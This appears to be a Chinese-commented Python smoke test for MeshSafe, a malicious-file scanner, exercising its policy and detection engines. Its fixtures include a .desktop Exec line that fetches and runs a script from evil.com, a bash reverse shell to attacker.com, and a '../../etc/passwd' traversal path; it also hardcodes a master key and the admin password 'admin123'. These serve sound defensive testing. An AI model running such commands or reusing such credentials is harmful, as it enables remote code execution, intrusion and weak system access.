MeshSate/tests/smoke.py

"""冒烟测试：验证核心模块能否被正常导入和执行。

运行::

    cd d:\\project\\MeshSafe
    # 确保 docker compose 的 PostgreSQL 已启动（或设置 MESHSAFE_DB_URL 指向可用 PG）
    $env:MESHSAFE_MASTER_KEY_BASE64="eHphbXBsZWtleTEyMzQ1Njc4OTAxMjM0NTY3ODk="
    python tests/smoke.py
"""

from __future__ import annotations

import logging
import os
import sys
import tempfile

# 确保项目根目录在 sys.path 中
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

# 必须在 import app 之前设置环境变量
# DB_URL 由 .env 或 compose environment 提供，不再硬编码 SQLite fallback
os.environ.setdefault(
    "MESHSAFE_MASTER_KEY",
    "Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=",
)
os.environ.setdefault(
    "MESHSAFE_ADMIN_PASSWORD",
    "admin123",
)
os.environ.setdefault("MESHSAFE_POLICY_FILE", "config/policy.yaml")

passed = 0
failed = 0


def test(name: str, fn) -> None:
    global passed, failed
    try:
        fn()
        passed += 1
        print(f"  ✅ {name}")
    except Exception as exc:  # noqa: BLE001
        failed += 1
        print(f"  ❌ {name}: {exc}")
        import traceback
        traceback.print_exc()


print("=" * 60)
print("MeshSafe 冒烟测试")
print("=" * 60)

# ---- 1) 日志系统 ----
print("\n[1] 日志系统")


def test_logging():
    from app.logging_config import setup_logging, get_logger

    setup_logging()
    log = get_logger("smoke")
    log.info("INFO 日志正常")
    log.warning("WARNING 日志正常")
    log.debug("DEBUG 日志被抑制（默认 INFO）")


test("logging_config 初始化正常", test_logging)


# ---- 2) 配置加载 + 策略解析 ----
print("\n[2] 配置与策略")


def test_config_and_policy():
    from app.config import get_settings
    from app.services.policy import PolicyStore

    settings = get_settings()
    assert settings.log_level == "INFO", f"log_level 应为 INFO，实际 {settings.log_level}"

    store = PolicyStore(policy_file="config/policy.yaml")
    policy = store.current()

    # 零容忍规则集
    zt = policy.zero_tolerance_rules
    assert len(zt) >= 20, f"零容忍规则应 >= 20 条，实际 {len(zt)}"

    # 关键规则必须存在
    for rule in ("PdfJavaScript", "PathTraversal", "LinuxExecutable",
                 "DesktopFileAutoExec", "ShellScriptDangerous",
                 "LnkWithAutoExec"):
        assert rule in zt, f"零容忍规则缺少: {rule}"

    print(f"    零容忍规则 {len(zt)} 条 ✓")
    print(f"    macro_exceptions {len(policy.macro_exceptions or [])} 条")


test("Settings + PolicyStore 加载正常", test_config_and_policy)


# ---- 3) PolicyEngine 零容忍优先 ----
print("\n[3] PolicyEngine 零容忍优先检查")


def test_zero_tolerance_priority():
    from app.services.policy import PolicyEngine, PolicyStore
    from app.engines.base import Finding, Severity

    store = PolicyStore(policy_file="config/policy.yaml")
    engine = PolicyEngine(store.current())

    # 构造一个命中零容忍规则的 finding
    findings = [
        Finding(
            engine="structure",
            layer="L0",
            severity=Severity.CRITICAL.value,
            rule="PathTraversal",
            detail="归档成员路径 ../../etc/passwd",
            weight=85.0,
        ),
    ]

    decision = engine.decide(
        findings,
        filename="evil.zip",
        declared_ext=".zip",
        size=1024,
    )

    assert decision.verdict == "malicious", f"verdict 应为 malicious，实际 {decision.verdict}"
    assert decision.action == "reject", f"action 应为 reject，实际 {decision.action}"
    assert decision.score == 100.0, f"零容忍应给 100 分，实际 {decision.score}"
    assert len(decision.triggered) == 1
    assert decision.triggered[0]["type"] == "zero_tolerance"


test("零容忍命中 → 直接 reject，不走评分", test_zero_tolerance_priority)


# ---- 4) ELF 文件识别 + LinuxExecutable 零容忍 ----
print("\n[4] Linux 专属检测（ELF）")


def test_elf_detection():
    from app.engines.structure import StructureEngine

    engine = StructureEngine()

    # 创建一个最小 ELF 文件（ELF magic header）
    with tempfile.NamedTemporaryFile(delete=False, suffix=".elf") as f:
        f.write(b"\x7fELF" + b"\x00" * 60)
        elf_path = f.name

    try:
        from app.engines.base import ScanTarget

        target = ScanTarget(
            path=elf_path,
            filename="malicious.elf",
            declared_ext=".elf",
            logical_path="malicious.elf",
            depth=0,
        )

        ctx = type("Ctx", (), {"settings": None})()
        result = engine.safe_scan(target, ctx)

        # 必须有 LinuxExecutable finding
        zt_findings = [f for f in result.findings if f.rule == "LinuxExecutable"]
        assert len(zt_findings) >= 1, f"ELF 文件应触发 LinuxExecutable，实际 findings={result.findings}"

        print(f"    ELF 魔数识别: real_type={result.meta.get('real_type')}")
        print(f"    命中规则: {[f.rule for f in result.findings]}")
    finally:
        os.unlink(elf_path)


test("ELF 文件识别 → LinuxExecutable finding", test_elf_detection)


# ---- 5) .desktop 文件危险命令检测 ----
print("\n[5] Linux 专属检测（.desktop 危险命令）")


def test_desktop_detection():
    from app.engines.structure import StructureEngine

    engine = StructureEngine()

    content = """[Desktop Entry]
Type=Application
Name=Evil App
Exec=/bin/sh -c "wget http://evil.com/payload.sh -O /tmp/p && sh /tmp/p"
"""

    with tempfile.NamedTemporaryFile(delete=False, suffix=".desktop", mode="w") as f:
        f.write(content)
        desktop_path = f.name

    try:
        from app.engines.base import ScanTarget

        target = ScanTarget(
            path=desktop_path,
            filename="evil.desktop",
            declared_ext=".desktop",
            logical_path="evil.desktop",
            depth=0,
        )

        ctx = type("Ctx", (), {"settings": None})()
        result = engine.safe_scan(target, ctx)

        zt_findings = [f for f in result.findings if f.rule == "DesktopFileAutoExec"]
        assert len(zt_findings) >= 1, f".desktop 文件应触发 DesktopFileAutoExec，实际 findings={result.findings}"

        print(f"    命中规则: {[f.rule for f in result.findings]}")
    finally:
        os.unlink(desktop_path)


test(".desktop 危险 Exec 字段 → DesktopFileAutoExec finding", test_desktop_detection)


# ---- 6) Shell 脚本反弹 Shell 检测 ----
print("\n[6] Linux 专属检测（Shell 反弹 Shell）")


def test_reverse_shell_detection():
    from app.engines.structure import StructureEngine

    engine = StructureEngine()

    content = """#!/bin/bash
# 反弹 Shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
"""

    with tempfile.NamedTemporaryFile(delete=False, suffix=".sh", mode="w") as f:
        f.write(content)
        sh_path = f.name

    try:
        from app.engines.base import ScanTarget

        target = ScanTarget(
            path=sh_path,
            filename="reverse.sh",
            declared_ext=".sh",
            logical_path="reverse.sh",
            depth=0,
        )

        ctx = type("Ctx", (), {"settings": None})()
        result = engine.safe_scan(target, ctx)

        zt_findings = [f for f in result.findings if f.rule == "ShellScriptDangerous"]
        assert len(zt_findings) >= 1, f"Shell 反弹 Shell 应触发 ShellScriptDangerous，实际 findings={result.findings}"
        assert zt_findings[0].severity == "critical", f"反弹 Shell 应为 CRITICAL，实际 {zt_findings[0].severity}"

        print(f"    命中规则: {[(f.rule, f.severity) for f in result.findings]}")
    finally:
        os.unlink(sh_path)


test("Shell 反弹 Shell → ShellScriptDangerous (CRITICAL)", test_reverse_shell_detection)


# ---- 7) open_risk 计算 ----
print("\n[7] open_risk 计算")


def test_open_risk():
    from app.services.policy import PolicyEngine
    from app.engines.base import Finding, Severity

    # 无风险
    open_risk = PolicyEngine.compute_open_risk("clean", [], ".docx")
    assert open_risk["level"] == "low"
    print(f"    无风险 docx: level={open_risk['level']}")

    # 零容忍命中
    open_risk = PolicyEngine.compute_open_risk(
        "malicious",
        [Finding("s", "L0", "critical", "LinuxExecutable", "ELF", 85.0)],
        ".elf",
    )
    assert open_risk["level"] == "critical"
    assert "zero_tolerance_hit" in open_risk["factors"]
    print(f"    ELF 命中: level={open_risk['level']} factors={open_risk['factors']}")

    # 含宏
    open_risk = PolicyEngine.compute_open_risk(
        "clean",
        [Finding("d", "L2", "high", "VBAMacroPresent", "含宏", 40.0)],
        ".docm",
    )
    assert open_risk["level"] == "high"
    assert "contains_macro" in open_risk["factors"]
    print(f"    含宏 docm: level={open_risk['level']} factors={open_risk['factors']}")


test("open_risk 四级计算正确", test_open_risk)


# ---- 8) main.py 导入 ----
print("\n[8] main.py 导入")


def test_main_import():
    # main.py 启动时会尝试连接数据库，这里只验证可被 import 解析
    # 实际启动需要 db_url 有效
    import importlib.util

    spec = importlib.util.spec_from_file_location("app.main", "app/main.py")
    assert spec is not None
    print("    main.py 文件可被解析 ✓")


test("main.py 可被 import 解析", test_main_import)


# ---- 汇总 ----
print("\n" + "=" * 60)
total = passed + failed
print(f"结果: {passed}/{total} 通过，{failed} 失败")
print("=" * 60)

sys.exit(0 if failed == 0 else 1)